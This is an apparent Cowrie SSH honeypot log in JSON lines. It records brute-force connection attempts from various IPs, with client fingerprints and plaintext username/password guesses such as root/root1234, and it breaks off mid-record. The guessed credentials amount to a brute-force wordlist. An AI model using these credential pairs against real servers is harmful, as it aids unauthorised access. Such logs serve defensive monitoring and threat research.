{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:41.271202Z","src_ip":"178.128.39.166","session":"6ba1589408e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:41.677227Z","src_ip":"41.242.115.84","session":"b5f6a3b2d630","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1234","message":"login attempt [root/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:41.695232Z","src_ip":"178.128.39.166","session":"6ba1589408e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.242.115.84","src_port":39536,"dst_ip":"159.203.135.109","dst_port":22,"session":"70d9f17cc66d","protocol":"ssh","message":"New connection: 41.242.115.84:39536 (159.203.135.109:22) [session: 70d9f17cc66d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:41.891488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:41.895921Z","src_ip":"41.242.115.84","session":"70d9f17cc66d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.1.93.192","src_port":49482,"dst_ip":"10.17.0.5","dst_port":22,"session":"09e781a366be","protocol":"ssh","message":"New connection: 198.1.93.192:49482 (10.17.0.5:22) [session: 09e781a366be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:41.928591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:41.932072Z","src_ip":"198.1.93.192","session":"09e781a366be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:42.020775Z","src_ip":"198.1.93.192","session":"09e781a366be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:42.110618Z","src_ip":"41.242.115.84","session":"70d9f17cc66d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nakamoto456","message":"login attempt [root/nakamoto456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:42.278499Z","src_ip":"198.1.93.192","session":"09e781a366be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:42.819010Z","src_ip":"178.128.39.166","session":"6ba1589408e5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:43.000898Z","src_ip":"41.242.115.84","session":"70d9f17cc66d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:43.218674Z","src_ip":"41.242.115.84","session":"a9ea71f0da9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:43.222785Z","src_ip":"41.242.115.84","session":"70d9f17cc66d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:43.367444Z","src_ip":"198.1.93.192","session":"09e781a366be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.239.241","src_port":39700,"dst_ip":"10.17.0.5","dst_port":22,"session":"afdc46f90fe2","protocol":"ssh","message":"New connection: 162.241.239.241:39700 (10.17.0.5:22) [session: afdc46f90fe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:53.881637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:53.885965Z","src_ip":"162.241.239.241","session":"afdc46f90fe2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:53.910694Z","src_ip":"162.241.239.241","session":"afdc46f90fe2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"M10t@$M@st3r@W0rd","message":"login attempt [root/M10t@$M@st3r@W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:53.988836Z","src_ip":"162.241.239.241","session":"afdc46f90fe2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:48:55.015310Z","src_ip":"162.241.239.241","session":"afdc46f90fe2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.231.24.5","src_port":52430,"dst_ip":"159.203.135.109","dst_port":22,"session":"68d061832901","protocol":"ssh","message":"New connection: 67.231.24.5:52430 (159.203.135.109:22) [session: 68d061832901]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:49:30.872600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:49:30.876256Z","src_ip":"67.231.24.5","session":"68d061832901","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:49:30.892774Z","src_ip":"67.231.24.5","session":"68d061832901","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"letmein&*()!@","message":"login attempt [root/letmein&*()!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:49:30.944410Z","src_ip":"67.231.24.5","session":"68d061832901","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:49:31.964521Z","src_ip":"67.231.24.5","session":"68d061832901","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.205.134.214","src_port":55606,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f40a37d3d05","protocol":"ssh","message":"New connection: 154.205.134.214:55606 (159.203.135.109:22) [session: 8f40a37d3d05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:49:34.468332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:49:34.472486Z","src_ip":"154.205.134.214","session":"8f40a37d3d05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:49:34.632139Z","src_ip":"154.205.134.214","session":"8f40a37d3d05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a5351237","message":"login attempt [root/a5351237] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:49:35.304750Z","src_ip":"154.205.134.214","session":"8f40a37d3d05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:49:36.467270Z","src_ip":"154.205.134.214","session":"8f40a37d3d05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.242.115.84","src_port":57204,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ff19dbcc3ca","protocol":"ssh","message":"New connection: 41.242.115.84:57204 (159.203.135.109:22) [session: 0ff19dbcc3ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:50:24.665060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:50:24.668949Z","src_ip":"41.242.115.84","session":"0ff19dbcc3ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:50:24.870842Z","src_ip":"41.242.115.84","session":"0ff19dbcc3ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz1QAZ","message":"login attempt [root/!qaz1QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:50:25.717496Z","src_ip":"41.242.115.84","session":"0ff19dbcc3ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.190.89.127","src_port":53376,"dst_ip":"159.203.135.109","dst_port":22,"session":"878ddb8e29fb","protocol":"ssh","message":"New connection: 172.190.89.127:53376 (159.203.135.109:22) [session: 878ddb8e29fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:50:26.256205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:50:26.260375Z","src_ip":"172.190.89.127","session":"878ddb8e29fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:50:26.271441Z","src_ip":"172.190.89.127","session":"878ddb8e29fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"emporium","message":"login attempt [root/emporium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:50:26.352646Z","src_ip":"172.190.89.127","session":"878ddb8e29fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:50:26.922174Z","src_ip":"41.242.115.84","session":"0ff19dbcc3ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:50:27.366934Z","src_ip":"172.190.89.127","session":"878ddb8e29fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":54904,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ed62d905f53","protocol":"ssh","message":"New connection: 91.92.40.176:54904 (10.17.0.5:22) [session: 7ed62d905f53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:50:37.144436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:50:37.146999Z","src_ip":"91.92.40.176","session":"7ed62d905f53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha